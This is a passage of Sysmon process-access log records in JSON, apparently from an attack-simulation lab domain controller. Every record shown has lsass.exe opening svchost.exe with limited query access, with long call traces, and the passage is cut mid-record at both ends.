C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:42.803","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4491,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:42.803\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:42.803","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4492,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:42.834\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:42.834","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4493,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:42.834\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:42.834","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4494,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:42.834\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:42.834","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4495,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.053\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.053","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4496,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.053\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.053","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4497,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.053\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 